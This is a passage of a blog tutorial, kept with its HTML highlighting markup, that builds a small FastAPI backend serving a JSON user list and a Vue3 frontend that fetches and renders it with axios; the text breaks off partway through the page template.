A Simple Client Server Project Made by Python and Vue3

<div class="featured-image"> <img src="/img/2024-03-05-13-08-30%e5%b1%8f%e5%b9%95%e6%88%aa%e5%9b%be.png" referrerpolicy="no-referrer"> </div><h1 id="introduction">Introduction</h1> <p></p> <p>This demo will show a user list with avatar, username and description, which is the data fetched from the backend. At first, the client page made by vue3 will send a request to the server, then the server respond and transfer a JSON typed data. Then the clinet page accepts this data, and render a page.</p> <h1 id="backend">Backend</h1> <p>There&rsquo;s a HTTP service powered by <a href="https://fastapi.tiangolo.com/" target="_blank" rel="noopener noreffer ">FastAPI</a>, which is a high performance web framework for Python.</p> <p></p> <p>When started, it will read the json file <code>user_list.json</code> into the RAM as a variable.</p> <p></p> <p></p> <p>When received a HTTP request by the URL <code>/userdata/list</code> from any clinet, it will read the JSON data in RAM and send to the client.</p> <p>Here is the JSON file.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;id&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;WeepingDogel&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;type&#34;</span><span class="p">:</span> <span class="s2">&#34;dog&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;age&#34;</span><span class="p">:</span> <span class="mi">20</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;avatar&#34;</span><span class="p">:</span> <span class="s2">&#34;/static/WeepingDogel.jpg&#34;</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;id&#34;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;kira-pgr&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;type&#34;</span><span class="p">:</span> <span class="s2">&#34;cat&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;age&#34;</span><span class="p">:</span> <span class="mi">18</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;avatar&#34;</span><span class="p">:</span> <span class="s2">&#34;/static/kira-pgr.png&#34;</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;id&#34;</span><span class="p">:</span> <span class="mi">3</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;kara&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;type&#34;</span><span class="p">:</span> <span class="s2">&#34;cat&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;age&#34;</span><span class="p">:</span> <span class="mi">19</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;avatar&#34;</span><span class="p">:</span> <span class="s2">&#34;/static/kara.jpg&#34;</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;id&#34;</span><span class="p">:</span> <span class="mi">4</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;Felix Yan&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;type&#34;</span><span class="p">:</span> <span class="s2">&#34;fox(?)&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;age&#34;</span><span class="p">:</span> <span class="mi">30</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;avatar&#34;</span><span class="p">:</span> <span class="s2">&#34;/static/felix.jpg&#34;</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;id&#34;</span><span class="p">:</span> <span class="mi">5</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;Old Herl&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;type&#34;</span><span class="p">:</span> <span class="s2">&#34;cat&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;age&#34;</span><span class="p">:</span> <span class="mi">400</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;avatar&#34;</span><span class="p">:</span> <span class="s2">&#34;/static/old_herl.jpg&#34;</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;id&#34;</span><span class="p">:</span> <span class="mi">6</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;Episode 33&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;type&#34;</span><span class="p">:</span> <span class="s2">&#34;-/@”~、&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;age&#34;</span><span class="p">:</span> <span class="mi">17</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;avatar&#34;</span><span class="p">:</span> <span class="s2">&#34;/static/episode-33.jpg&#34;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">]</span> </span></span></code></pre></td></tr></table> </div> </div><p>Let&rsquo;s start to code. Firstly, we need to create a virtual environment of Python and import the fastapi package.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$ python -m venv venv </span></span></code></pre></td></tr></table> </div> </div><p>Install the fastapi libraries by <code>pip</code> and establish a root API URL to run a web server.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$ pip install &#34;fastapi[all]&#34; </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># encoding=UTF-8</span> </span></span><span class="line"><span class="cl"><span class="c1"># filename=main.py</span> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">fastapi</span> <span class="kn">import</span> <span class="n">FastAPI</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">app</span> <span class="o">=</span> <span class="n">FastAPI</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nd">@app.get</span><span class="p">(</span><span class="s1">&#39;/&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="k">async</span> <span class="k">def</span> <span class="nf">root</span><span class="p">():</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="p">{</span><span class="s2">&#34;message&#34;</span><span class="p">:</span> <span class="s2">&#34;Hello&#34;</span><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>While the client recevied the data to render the page, it will still access the server to get the static files. So let&rsquo;s mount the staitc directory.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$ ls src/static/ -lh </span></span><span class="line"><span class="cl">总计 396K </span></span><span class="line"><span class="cl">-rw-r--r-- 1 weepingdogel weepingdogel 89K 3月 3日 18:51 episode-33.jpg </span></span><span class="line"><span class="cl">-rw-r--r-- 1 weepingdogel weepingdogel 87K 3月 3日 18:35 felix.jpg </span></span><span class="line"><span class="cl">-rw-r--r-- 1 weepingdogel weepingdogel 45K 3月 3日 15:52 kara.jpg </span></span><span class="line"><span class="cl">-rw-r--r-- 1 weepingdogel weepingdogel 93K 12月18日 11:34 kira-pgr.png </span></span><span class="line"><span class="cl">-rw-r--r-- 1 weepingdogel weepingdogel 36K 3月 3日 18:37 old_herl.jpg </span></span><span class="line"><span class="cl">-rw-r--r-- 1 weepingdogel weepingdogel 34K 1月 6日 16:20 WeepingDogel.jpg </span></span></code></pre></td></tr></table> </div> </div><p>Add these to <code>main.py</code>.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">fastapi.staticfiles</span> <span class="kn">import</span> <span class="n">StaticFiles</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">app</span><span class="o">.</span><span class="n">mount</span><span class="p">(</span><span class="s1">&#39;/static&#39;</span><span class="p">,</span> <span class="n">StaticFiles</span><span class="p">(</span><span class="n">directory</span><span class="o">=</span><span class="s2">&#34;src/static&#34;</span><span class="p">),</span> <span class="n">name</span><span class="o">=</span><span class="s2">&#34;static&#34;</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><p>Then we need to create a router <code>/userdata</code> by create a new file <code>router_userdata.py</code> in other direcotries or just in the same directory.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># encoding=UTF-8</span> </span></span><span class="line"><span class="cl"><span class="c1"># filename=router_resources.py</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">fastapi</span> <span class="kn">import</span> <span class="n">APIRouter</span> </span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">json</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">userdata_router</span> <span class="o">=</span> <span class="n">APIRouter</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">prefix</span><span class="o">=</span><span class="s1">&#39;/userdata&#39;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">tags</span><span class="o">=</span><span class="p">[</span><span class="s1">&#39;userdata&#39;</span><span class="p">],</span> </span></span><span class="line"><span class="cl"> <span class="n">responses</span><span class="o">=</span><span class="p">{</span><span class="mi">404</span><span class="p">:</span> <span class="p">{</span><span class="s2">&#34;Description&#34;</span><span class="p">:</span> <span class="s2">&#34;Not Found&#34;</span><span class="p">}}</span> </span></span><span class="line"><span class="cl"><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><p>Now we need to open the json file and store the content into the memory as a variable.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">user_list</span><span class="p">:</span> <span class="nb">list</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">loads</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s1">&#39;src/data/user_list.json&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">())</span> </span></span></code></pre></td></tr></table> </div> </div><p>Finally we create a URL router to provide the API to get the data.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># encoding=UTF-8</span> </span></span><span class="line"><span class="cl"><span class="c1"># filename=router_resources.py</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">fastapi</span> <span class="kn">import</span> <span class="n">APIRouter</span> </span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">json</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">userdata_router</span> <span class="o">=</span> <span class="n">APIRouter</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">prefix</span><span class="o">=</span><span class="s1">&#39;/userdata&#39;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">tags</span><span class="o">=</span><span class="p">[</span><span class="s1">&#39;userdata&#39;</span><span class="p">],</span> </span></span><span class="line"><span class="cl"> <span class="n">responses</span><span class="o">=</span><span class="p">{</span><span class="mi">404</span><span class="p">:</span> <span class="p">{</span><span class="s2">&#34;Description&#34;</span><span class="p">:</span> <span class="s2">&#34;Not Found&#34;</span><span class="p">}}</span> </span></span><span class="line"><span class="cl"><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">user_list</span><span class="p">:</span> <span class="nb">list</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">loads</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s1">&#39;src/data/user_list.json&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">())</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nd">@userdata_router.get</span><span class="p">(</span><span class="s1">&#39;/list&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">read_user_list</span><span class="p">():</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;&#34;&#34; </span></span></span><span class="line"><span class="cl"><span class="s2"> Read a user list from a json file. </span></span></span><span class="line"><span class="cl"><span class="s2"> :return: A user list. </span></span></span><span class="line"><span class="cl"><span class="s2"> &#34;&#34;&#34;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="n">user_list</span> </span></span></code></pre></td></tr></table> </div> </div><p>Now start the server by uvicorn.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">uvicorn</span> <span class="n">src</span><span class="o">.</span><span class="n">main</span><span class="p">:</span><span class="n">app</span> <span class="o">--</span><span class="n">reload</span> </span></span></code></pre></td></tr></table> </div> </div><h1 id="frontend">FrontEnd</h1> <p>Now it&rsquo;s the work that frontend must be responsible. Let&rsquo;s create a vue3 project by yarn at first.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$ yarn create vue </span></span></code></pre></td></tr></table> </div> </div><p>Then delete the components before, we don&rsquo;t need them in this demo. Just rewrite the code of the <code>App.vue</code>.</p> <p>Before we send a request to fetch the data, we need to define two types to contain the data if <strong>Typescript</strong> is enabled.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span><span class="lnt">9 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript"><span class="line"><span class="cl"><span class="kr">type</span> <span class="nx">User</span> <span class="o">=</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">id</span>: <span class="kt">Number</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nx">name</span>: <span class="kt">string</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nx">user_type</span>: <span class="kt">string</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nx">age</span>: <span class="kt">Number</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nx">avatar</span>: <span class="kt">string</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">};</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kr">type</span> <span class="nx">UserList</span> <span class="o">=</span> <span class="nx">User</span><span class="p">[];</span> </span></span></code></pre></td></tr></table> </div> </div><p>According to the <a href="https://vuejs.org/api/options-state.html" target="_blank" rel="noopener noreffer ">lifecycle</a> of Vue3, a method need to be create and used in the <code>mount</code> lifecycle. We have to define a global variable in <code>data()</code> state and a synchronous function in <code>methods</code> state.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">data</span><span class="p">()</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">user_list</span><span class="o">:</span> <span class="p">[]</span> <span class="nx">as</span> <span class="nx">UserList</span> </span></span><span class="line"><span class="cl"> <span class="p">};</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="nx">methods</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">async</span> <span class="nx">GetUserList</span><span class="p">()</span> <span class="p">{},</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"><span class="p">};</span> </span></span></code></pre></td></tr></table> </div> </div><p>Now we need to send a request by <code>axios</code>.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript"><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">axios</span> <span class="kr">from</span> <span class="s2">&#34;axios&#34;</span><span class="p">;</span> </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript"><span class="line"><span class="cl"><span class="kr">async</span> <span class="nx">GetUserList() {</span> </span></span><span class="line"><span class="cl"> <span class="k">try</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">response</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">axios</span><span class="p">.</span><span class="kr">get</span><span class="p">&lt;</span><span class="nt">UserList</span><span class="p">&gt;(</span><span class="s2">&#34;/userdata/list&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">this</span><span class="p">.</span><span class="nx">user_list</span> <span class="o">=</span> <span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">error</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">},</span> </span></span></code></pre></td></tr></table> </div> </div><p>Then we need to run this function in <code>mount</code> lifecycle.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="nx">mounted</span><span class="p">()</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">this</span><span class="p">.</span><span class="nx">GetUserList</span><span class="p">();</span> </span></span><span class="line"><span class="cl"><span class="p">},</span> </span></span></code></pre></td></tr></table> </div> </div><p>Here&rsquo;s the completed code in <code>&lt;script&gt;</code> tag:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript"><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">axios</span> <span class="kr">from</span> <span class="s2">&#34;axios&#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kr">type</span> <span class="nx">User</span> <span class="o">=</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">id</span>: <span class="kt">Number</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nx">name</span>: <span class="kt">string</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nx">user_type</span>: <span class="kt">string</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nx">age</span>: <span class="kt">Number</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nx">avatar</span>: <span class="kt">string</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">};</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kr">type</span> <span class="nx">UserList</span> <span class="o">=</span> <span class="nx">User</span><span class="p">[];</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">data() {</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">user_list</span><span class="o">:</span> <span class="p">[]</span> <span class="kr">as</span> <span class="nx">UserList</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="p">};</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="nx">methods</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">async</span> <span class="nx">GetUserList() {</span> </span></span><span class="line"><span class="cl"> <span class="k">try</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">response</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">axios</span><span class="p">.</span><span class="kr">get</span><span class="p">&lt;</span><span class="nt">UserList</span><span class="p">&gt;(</span><span class="s2">&#34;/userdata/list&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">this</span><span class="p">.</span><span class="nx">user_list</span> <span class="o">=</span> <span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">error</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="nx">mounted() {</span> </span></span><span class="line"><span class="cl"> <span class="k">this</span><span class="p">.</span><span class="nx">GetUserList</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"><span class="p">};</span> </span></span></code></pre></td></tr></table> </div> </div><p><a href="https://vuejs.org/guide/extras/render-function.html#v-for" target="_blank" rel="noopener noreffer ">Render</a> the data in Template by &lsquo;v-for&rsquo; property.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">template</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;bg&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span 